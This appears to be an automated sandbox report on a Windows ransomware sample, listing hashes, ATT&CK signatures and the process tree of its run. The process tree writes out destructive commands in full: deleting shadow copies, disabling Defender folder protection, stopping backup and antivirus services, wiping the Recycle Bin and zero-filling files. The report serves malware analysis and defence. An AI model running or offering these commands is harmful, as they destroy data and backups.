cd0f55dd00111251cd580c7e7cc1d17448faf27e4ef39818d75ce330628c7787

Analysis

max time kernel
131s
max time network
137s
platform
windows10-1703_x64
resource
win10-20240221-en
resource tags

arch:x64arch:x86image:win10-20240221-enlocale:en-usos:windows10-1703-x64system
submitted
27-02-2024 00:12

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General

Target

5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
Size

91KB
MD5

be60e389a0108b2871dff12dfbb542ac
SHA1

14b4e0bfac64ec0f837f84ab1780ca7ced8d670d
SHA256

5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d
SHA512

6051bec441434a80c34ee2752a3da9c3a0307cd1b551aa27a0f7f6f75b9bf64b172745d80f03eea054a03ebd2c493df21fd48d8fa3b706d46a6f7fee0e7c0641
SSDEEP

1536:QguHLgeS6umiCp31W4qYXgsLlOqrgB9GpF7LXdarTkCAKL5dsluhtvM4CoLT6QPg:D6seqCp31Hgsp9a9GTrda8CAKLTsWkyI

Score

9^/10

ransomware

Malware Config

Signatures

Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1070.004

Inhibit System Recovery
T1490
Renames multiple (64) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware
Downloads MZ/PE file

Drops startup file 1 IoCs

Processes:

5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe

description	ioc	process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\mystartup.lnk	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe

Enumerates connected drives 3 TTPs 14 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

vssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exe

description	ioc	process
File opened (read-only)	\??\e:	vssadmin.exe
File opened (read-only)	\??\h:	vssadmin.exe
File opened (read-only)	\??\g:	vssadmin.exe
File opened (read-only)	\??\D:	vssadmin.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\H:	vssadmin.exe
File opened (read-only)	\??\E:	vssadmin.exe
File opened (read-only)	\??\D:	vssadmin.exe
File opened (read-only)	\??\h:	vssadmin.exe
File opened (read-only)	\??\H:	vssadmin.exe
File opened (read-only)	\??\G:	vssadmin.exe
File opened (read-only)	\??\e:	vssadmin.exe
File opened (read-only)	\??\E:	vssadmin.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service
T1102

Processes:

flow ioc

1 raw.githubusercontent.com
2 raw.githubusercontent.com
Launches sc.exe 4 IoCs
Sc.exe is a Windows utlilty to control services on the system.

Processes:

sc.exesc.exesc.exesc.exe

pid process

4788 sc.exe
448 sc.exe
3544 sc.exe
836 sc.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

flow	ioc
1	raw.githubusercontent.com
2	raw.githubusercontent.com

pid	process
4788	sc.exe
448	sc.exe
3544	sc.exe
836	sc.exe

Interacts with shadow copies 2 TTPs 14 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

Processes:

vssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exe

pid	process
1016	vssadmin.exe
2900	vssadmin.exe
2436	vssadmin.exe
1588	vssadmin.exe
1712	vssadmin.exe
2828	vssadmin.exe
3656	vssadmin.exe
1916	vssadmin.exe
2952	vssadmin.exe
4064	vssadmin.exe
4196	vssadmin.exe
4460	vssadmin.exe
1308	vssadmin.exe
1492	vssadmin.exe

Kills process with taskkill 3 IoCs
evasion

Processes:

taskkill.exetaskkill.exetaskkill.exe

pid process

2116 taskkill.exe
1548 taskkill.exe
3004 taskkill.exe
Opens file in notepad (likely ransom note) 1 IoCs
ransomware

Processes:

notepad.exe

pid process

5840 notepad.exe
Runs net.exe
Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery
T1018

Processes:

PING.EXE

pid process

6200 PING.EXE

pid	process
2116	taskkill.exe
1548	taskkill.exe
3004	taskkill.exe

pid	process
5840	notepad.exe

pid	process
6200	PING.EXE

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe

pid	process
1884	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1884	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1884	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1884	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1884	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1884	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1884	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1884	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1884	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1884	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1884	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1884	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1884	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1884	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1884	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1884	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1884	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1884	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1884	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1884	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1884	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1884	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1884	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1884	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1884	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1884	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1884	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1884	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1884	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1884	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1884	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1884	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1884	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1884	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1884	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1884	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1884	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1884	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1884	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1884	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1884	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1884	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1884	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1884	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1884	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1884	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1884	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1884	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1884	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1884	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1884	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1884	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1884	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1884	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1884	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1884	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1884	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1884	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1884	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1884	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1884	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1884	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1884	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1884	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe

Suspicious use of AdjustPrivilegeToken 8 IoCs

Processes:

5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exetaskkill.exetaskkill.exetaskkill.exepowershell.exevssvc.exe

description	pid	process
Token: SeDebugPrivilege	1884	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
Token: SeDebugPrivilege	3004	taskkill.exe
Token: SeDebugPrivilege	1548	taskkill.exe
Token: SeDebugPrivilege	2116	taskkill.exe
Token: SeDebugPrivilege	4580	powershell.exe
Token: SeBackupPrivilege	5800	vssvc.exe
Token: SeRestorePrivilege	5800	vssvc.exe
Token: SeAuditPrivilege	5800	vssvc.exe

Suspicious use of FindShellTrayWindow 1 IoCs

Processes:

5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe

pid process

1884 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
Suspicious use of SendNotifyMessage 1 IoCs

Processes:

5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe

pid process

1884 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe

description	pid	process	target process
PID 1884 wrote to memory of 4580	1884	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	powershell.exe
PID 1884 wrote to memory of 4580	1884	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	powershell.exe
PID 1884 wrote to memory of 4580	1884	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	powershell.exe
PID 1884 wrote to memory of 4208	1884	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1884 wrote to memory of 4208	1884	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1884 wrote to memory of 4208	1884	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1884 wrote to memory of 4392	1884	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1884 wrote to memory of 4392	1884	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1884 wrote to memory of 4392	1884	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1884 wrote to memory of 5016	1884	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1884 wrote to memory of 5016	1884	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1884 wrote to memory of 5016	1884	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1884 wrote to memory of 824	1884	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1884 wrote to memory of 824	1884	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1884 wrote to memory of 824	1884	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1884 wrote to memory of 4808	1884	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1884 wrote to memory of 4808	1884	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1884 wrote to memory of 4808	1884	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1884 wrote to memory of 4840	1884	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1884 wrote to memory of 4840	1884	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1884 wrote to memory of 4840	1884	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1884 wrote to memory of 1316	1884	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1884 wrote to memory of 1316	1884	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1884 wrote to memory of 1316	1884	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1884 wrote to memory of 4312	1884	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1884 wrote to memory of 4312	1884	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1884 wrote to memory of 4312	1884	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1884 wrote to memory of 4292	1884	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1884 wrote to memory of 4292	1884	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1884 wrote to memory of 4292	1884	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1884 wrote to memory of 4720	1884	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1884 wrote to memory of 4720	1884	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1884 wrote to memory of 4720	1884	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1884 wrote to memory of 4708	1884	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1884 wrote to memory of 4708	1884	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1884 wrote to memory of 4708	1884	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1884 wrote to memory of 2292	1884	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1884 wrote to memory of 2292	1884	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1884 wrote to memory of 2292	1884	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1884 wrote to memory of 5108	1884	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1884 wrote to memory of 5108	1884	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1884 wrote to memory of 5108	1884	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1884 wrote to memory of 168	1884	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1884 wrote to memory of 168	1884	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1884 wrote to memory of 168	1884	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1884 wrote to memory of 1624	1884	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1884 wrote to memory of 1624	1884	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1884 wrote to memory of 1624	1884	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1884 wrote to memory of 1620	1884	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1884 wrote to memory of 1620	1884	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1884 wrote to memory of 1620	1884	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1884 wrote to memory of 2168	1884	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1884 wrote to memory of 2168	1884	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1884 wrote to memory of 2168	1884	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1884 wrote to memory of 2520	1884	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1884 wrote to memory of 2520	1884	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1884 wrote to memory of 2520	1884	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1884 wrote to memory of 2724	1884	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1884 wrote to memory of 2724	1884	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1884 wrote to memory of 2724	1884	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1884 wrote to memory of 2388	1884	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1884 wrote to memory of 2388	1884	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1884 wrote to memory of 2388	1884	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe
PID 1884 wrote to memory of 372	1884	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	net.exe

System policy modification 1 TTPs 2 IoCs

evasion

Modify Registry

T1112

Processes:

5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\LocalAccountTokenFilterPolicy = "1"	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLinkedConnections = "1"	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
"C:\Users\Admin\AppData\Local\Temp\5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe"
1⤵
- Drops startup file
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
- System policy modification
PID:1884
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -EnableControlledFolderAccess Disabled
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4580
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop sophos /y
  2⤵
  PID:2148
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop sophos /y
    3⤵
    PID:5760
- C:\Windows\SysWOW64\vssadmin.exe
  "vssadmin.exe" Delete Shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:1712
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /C C:\Users\Admin\AppData\Local\Temp\tmpFB09.bat
  2⤵
  PID:6376
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c rd /s /q %SYSTEMDRIVE%\$Recycle.bin
  2⤵
  PID:4728
- C:\Windows\SysWOW64\vssadmin.exe
  "vssadmin.exe" resize shadowstorage /for=h: /on=h: /maxsize=unbounded
  2⤵
  - Enumerates connected drives
  - Interacts with shadow copies
  PID:1016
- C:\Windows\SysWOW64\vssadmin.exe
  "vssadmin.exe" resize shadowstorage /for=h: /on=h: /maxsize=401MB
  2⤵
  - Enumerates connected drives
  - Interacts with shadow copies
  PID:4064
- C:\Windows\SysWOW64\vssadmin.exe
  "vssadmin.exe" resize shadowstorage /for=g: /on=g: /maxsize=unbounded
  2⤵
  - Interacts with shadow copies
  PID:2828
- C:\Windows\SysWOW64\vssadmin.exe
  "vssadmin.exe" resize shadowstorage /for=g: /on=g: /maxsize=401MB
  2⤵
  - Enumerates connected drives
  - Interacts with shadow copies
  PID:4196
- C:\Windows\SysWOW64\vssadmin.exe
  "vssadmin.exe" resize shadowstorage /for=f: /on=f: /maxsize=unbounded
  2⤵
  - Enumerates connected drives
  - Interacts with shadow copies
  PID:1916
- C:\Windows\SysWOW64\vssadmin.exe
  "vssadmin.exe" resize shadowstorage /for=f: /on=f: /maxsize=401MB
  2⤵
  - Enumerates connected drives
  - Interacts with shadow copies
  PID:2900
- C:\Windows\SysWOW64\vssadmin.exe
  "vssadmin.exe" resize shadowstorage /for=e: /on=e: /maxsize=unbounded
  2⤵
  - Enumerates connected drives
  - Interacts with shadow copies
  PID:4460
- C:\Windows\SysWOW64\vssadmin.exe
  "vssadmin.exe" resize shadowstorage /for=e: /on=e: /maxsize=401MB
  2⤵
  - Enumerates connected drives
  - Interacts with shadow copies
  PID:1308
- C:\Windows\SysWOW64\vssadmin.exe
  "vssadmin.exe" resize shadowstorage /for=d: /on=d: /maxsize=unbounded
  2⤵
  - Enumerates connected drives
  - Interacts with shadow copies
  PID:2952
- C:\Windows\SysWOW64\vssadmin.exe
  "vssadmin.exe" resize shadowstorage /for=d: /on=d: /maxsize=401MB
  2⤵
  - Enumerates connected drives
  - Interacts with shadow copies
  PID:1492
- C:\Windows\SysWOW64\vssadmin.exe
  "vssadmin.exe" resize shadowstorage /for=c: /on=c: /maxsize=unbounded
  2⤵
  - Interacts with shadow copies
  PID:2436
- C:\Windows\SysWOW64\vssadmin.exe
  "vssadmin.exe" resize shadowstorage /for=c: /on=c: /maxsize=401MB
  2⤵
  - Interacts with shadow copies
  PID:3656
- C:\Windows\SysWOW64\vssadmin.exe
  "vssadmin.exe" Delete Shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:1588
- C:\Windows\SysWOW64\taskkill.exe
  "taskkill.exe" /IM mydesktopservice.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:1548
- C:\Windows\SysWOW64\taskkill.exe
  "taskkill.exe" /IM mydesktopqos.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:3004
- C:\Windows\SysWOW64\taskkill.exe
  "taskkill.exe" /IM mspub.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:2116
- C:\Windows\SysWOW64\sc.exe
  "sc.exe" config SstpSvc start= disabled
  2⤵
  - Launches sc.exe
  PID:4788
- C:\Windows\SysWOW64\sc.exe
  "sc.exe" config SQLWriter start= disabled
  2⤵
  - Launches sc.exe
  PID:448
- C:\Windows\SysWOW64\sc.exe
  "sc.exe" config SQLTELEMETRY$ECWDB2 start= disabled
  2⤵
  - Launches sc.exe
  PID:3544
- C:\Windows\SysWOW64\sc.exe
  "sc.exe" config SQLTELEMETRY start= disabled
  2⤵
  - Launches sc.exe
  PID:836
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop CAARCUpdateSvc /y
  2⤵
  PID:4316
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop CASAD2DWebSvc /y
  2⤵
  PID:2428
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop AcronisAgent /y
  2⤵
  PID:4848
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop AcrSch2Svc /y
  2⤵
  PID:1524
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop BackupExecRPCService /y
  2⤵
  PID:2752
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop BackupExecManagementService /y
  2⤵
  PID:712
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop BackupExecJobEngine /y
  2⤵
  PID:3448
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop BackupExecDiveciMediaService /y
  2⤵
  PID:1000
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop BackupExecAgentBrowser /y
  2⤵
  PID:4824
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop BackupExecAgentAccelerator /y
  2⤵
  PID:2392
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop BackupExecVSSProvider /y
  2⤵
  PID:1616
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop PDVFSService /y
  2⤵
  PID:3264
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop veeam /y
  2⤵
  PID:4804
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop VeeamNFSSvc /y
  2⤵
  PID:3804
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop VeeamDeploymentService /y
  2⤵
  PID:372
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop VeeamTransportSvc /y
  2⤵
  PID:2388
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop VSNAPVSS /y
  2⤵
  PID:2724
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop stc_raw_agent /y
  2⤵
  PID:2520
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop zhudongfangyu /y
  2⤵
  PID:2168
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop YooIT /y
  2⤵
  PID:1620
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop YooBackup /y
  2⤵
  PID:1624
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop QBCFMonitorService /y
  2⤵
  PID:168
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop Intuit.QuickBooks.FCS /y
  2⤵
  PID:5108
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop QBIDPService /y
  2⤵
  PID:2292
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop QBFCService /y
  2⤵
  PID:4708
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop RTVscan /y
  2⤵
  PID:4720
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop SavRoam /y
  2⤵
  PID:4292
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop ccSetMgr /y
  2⤵
  PID:4312
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop ccEvtMgr /y
  2⤵
  PID:1316
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop DefWatch /y
  2⤵
  PID:4840
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop NetBackup BMR MTFTP Service /y
  2⤵
  PID:4808
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop BMR Boot Service /y
  2⤵
  PID:824
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop mfewc /y
  2⤵
  PID:5016
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop McAfeeDLPAgentService /y
  2⤵
  PID:4392
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop avpsus /y
  2⤵
  PID:4208
- C:\Windows\SysWOW64\notepad.exe
  "C:\Windows\System32\notepad.exe" C:\Users\Admin\Desktop\HOW_TO_DECYPHER_FILES.txt
  2⤵
  - Opens file in notepad (likely ransom note)
  PID:5840
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /C ping 127.0.0.7 -n 3 > Nul & fsutil file setZeroData offset=0 length=524288 “%s” & Del /f /q “%s”
  2⤵
  PID:4328
- - C:\Windows\SysWOW64\PING.EXE
    ping 127.0.0.7 -n 3
    3⤵
    - Runs ping.exe
    PID:6200
- - C:\Windows\SysWOW64\fsutil.exe
    fsutil file setZeroData offset=0 length=524288 “%s”
    3⤵
    PID:1976
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" "/C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
  2⤵
  PID:4592
